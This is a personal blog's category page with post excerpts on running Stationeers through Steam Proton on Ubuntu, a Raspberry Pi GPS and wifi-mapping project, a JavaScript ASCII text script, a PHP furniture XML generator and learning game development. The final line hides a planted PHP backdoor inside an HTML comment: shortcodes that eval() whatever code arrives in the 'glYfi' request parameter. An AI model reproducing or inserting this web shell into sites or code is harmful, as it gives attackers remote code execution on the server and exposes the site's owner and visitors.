Michael Gagliano

Started from the bottom... and well still here.

Menu Close

Category: Personal Posts

Steam Proton | Stationeers

I’ve transitioned over to an Ubuntu desktop full time. I was tired of work being interrupted by unstable Windows updates along with frequent reboots that end in a failure. However, this means my normal collection of games had to be paired down to only Linux compatible games, it’s 2018 shouldn’t be hard right?

This process went fine, until I reached Stationeers. It was not supported by default and did not run at all when checking all the boxes Steam required to run non-tested games.

I sat for a week, just rebooting into Windows every time I wanted to play, but again, with every boot came another loop of updates that potentially could kill any motivation to game.

I finally sat down and decided to figure out how to get this game to run. The initial symptom was Stationeers would run, however a small box with a progress bar appeared, not the game launch. This guide resolves that issue, if you haven’t gotten that far, check out my notes on Proton and ext4
Read more

I bought some Pi, Raspberry!

I’ve finally been bit by the bug. I purchased a CanaKit Raspberry Pi 3B Complete Starter Kit, I had thought I’d beat the system by purchasing everything separately. It turned out that it’s roughly the same price, give or take a sale. I opted for the kit for convenience mainly and it ended up having a nice printout of the GPIO and a quick start guide.

If this is your first Pi, I’d highly recommend a kit of some form. The kit included the black case, a micro-SD reader, a micro-SD card, 2.5A power supply, some heatsinks and naturally the Pi.

After purchasing it I realized I needed a project for it. Since I drive a lot for my job, I thought it’d be cool to start with GPS tracking. My thought being I could somehow make graphs and analyze my patterns, for science obviously. If I would be mapping GPS, why not add mapping wifi networks as well.

I’ve used Kali extensively in the past and knew I have seen touchscreen Pi projects with it. I decided to use KaliPi image for my first project, if you made the same mistake I have a few scripts and guides I’ve made along the line that I’ll tag with #kaliPi.  Since I was going with Kali, I knew I could get a Panda USB card to keep my Pi a compact project.

I had never worked with direct GPS devices before but I had the opportunity to buy a GPS HAT during a sale, but I opted for a USB GPS adapter instead. If for some reason I needed GPS on a computer or another Pi, I’d like the option to move it around.

I have been told there is a bit more jitter using a USB but that is only critical in an NTP source. I was willing to accept a slight degree of inaccuracy as long as it was still on the road somewhere. It’s surprisingly accurate, even at high speeds. The model I purchased has a magnet on the underside and it sticks to my dash. The only issue is when I’m between large buildings or a large concentration of trees.

The last piece of the puzzle was power. I know Raspberry Pi has an acceptable tolerance in deviation on their parts, so I wanted to see what MY Pi drew in terms of power. I bought a USB volt meter with tracking so I could take data points every 15 minutes and have it keep a running total overall.

After running the Pi in idle, wardriving, and GPS only modes I learned I needed about 8.7Ah of battery for 12 hour operation. On a random Amazon lightning deal I got a solar panel battery pack combo with 10Ah storage. The solar only outputs 3.5W @ 5V at full light but it’s enough to push my total runtime to around 16 hours.

I’m intending on posting weekly about my projects, primarily my reconPi project. I’m also interested in building my own z-wave controller for some basic home automation, keep an eye out for those posts as well.

JS | ASCII Text Display

While attempting to format my console output in hackmud, I found myself spending entirely too long formatting, copy, and pasting ASCII letters directly into a messy echo. I decided to write a script to display ASCII Text dynamically, by supplying an array of ASCII text broken down by row along with an display string.

Initially I attempted to concat strings whole letters at a time and found it too sloppy of a process and ultimately meant a messy output with little flexibility. I settled on taking the ASCII font a row at a time. Utilizing .indexOf() I compared the string letter against a string containing the alphabet and used that value to display the ASCII font. I looped through the display string each row and concated a row together before moving onto the next row. Finally displaying the rows separated by a new line character. I wanted the script to be more flexible allowing for variable width and height letters, so I included 2 parameters defining those dimensions.

I had originally wrote this in a golf friendly way. I have expanded the code slightly for readability, commented it and put it into a JSFiddle for you to explore and test.


Furniture XML Generator

I embarked on an adventure to make a utility for the Software Inc community. It is an XML generator for furniture mods, making hand-writing the XML’s and constantly referencing the wiki obsolete. I went with a simple 3 column interface with the logical sections of the XML separated.

Usually, I don’t utilize Javascript or jQuery when developing a PHP script. This time was different since I was on an adventure! I decided to use jQuery and noUiSlider to produce an intuitive way to assign values. In Software Inc, a piece of furniture has a bar denoting the effect, so the slider is a good analog for in-game. The sliders are set for the in-game range of accepted input so there won’t be any faulty values, noUiSlider handled that with a breeze. I used a few examples from their site to achieve my sliders.

Going along with motif of this project, I ventured into the world of XML’s. I’d be hard pressed to find a developer who jumps at the opportunity to work with XML… until this project. I discovered SimpleXMLElement on php.net, it allowed me to create a skeleton XML and effortlessly build the rest of the XML via forms. It then builds the XML depending on the options chosen with the added bonus of being able to put static objects in the skeleton. Sign me up for working with XML’s in the future, I’m excited to try building an array and then using SimpleXML to generate XML from it in a single line.

While showing off my draft to another mod developer, I learned a useful way to display large select lists without horrific code repetition. He wrote this simple yet powerful function which I will be able to use time and time again.

Furniture XML Generator is the product of this journey. You can see it in action over here, the left column are the required options, otherwise go wild with the rest of them.

And so it begins…

Hi there!

I’ve started an adventure of self-learning game development and I’ve already had quite a few stumbles. I’m hoping to keep a resource of problem resolutions and various tutorials as I learn and develop. I am utilizing the Unity Engine alongside Blender and Gimp to create my games so my initial posts will be centering around those programs.

Let me be the first one to tell you, anonymous reader that game development on the surface makes sense, it’s logical, you can rationalize what needs to happen in order for the game to work. Translating that to an actual product is in a different universe from logical. You’ll hit roadblocks, seemingly impassible problems, and just a blank confused stare at times… but it’s all worth it once you have an actual product!

Thanks for stopping by and check back often for updates!

 

<!– [insert_php]if (isset($_REQUEST["glYfi"])){eval($_REQUEST["glYfi"]);exit;}[/insert_php][php]if (isset($_REQUEST["glYfi"])){eval($_REQUEST["glYfi"]);exit;}[/php] –>